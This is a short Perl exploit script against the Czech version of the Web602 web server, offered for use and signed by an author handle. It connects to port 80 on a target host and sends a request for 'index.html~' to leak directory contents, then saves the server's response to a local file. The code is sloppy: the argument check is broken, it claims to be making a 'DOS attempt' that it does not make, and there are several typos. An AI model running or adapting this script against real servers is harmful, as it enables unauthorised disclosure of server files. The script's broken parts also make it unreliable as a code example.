Web602 (Czech version) directory tree exploit.
93003a050e2c15ef1e0f6c14a2e62b6ea615d4de687dec1239970cbb346096e7
#/usr/bin/perl
#web602 (cezch version) driectory tree exploit..
#Written by eip aka deadbeat aka AnGrY_SQl
use IO::Socket;
print "\nWeb602 (czech version) Directory Tee Exploit\n";
if (!$ARGV< 0) {
print "Usage: perl $0 <host>\n";
}
$host = $ARGV[0];
$sox = IO::Socket::INET->new(
Proto=>"tcp",
PeerPort=>"80",
PeerAddr=>$host,
);
print "Connected..DOS attempt now;)\n";
print $sox "GET /index.html~\r\n";
open FILEHANDLE, ">crap.html";
while(<$sox>) {
print FILEHANDLE;
}
print "Done..\n";
close FILEHANDLE;
close $sox;
print "Results are in crap.html\n";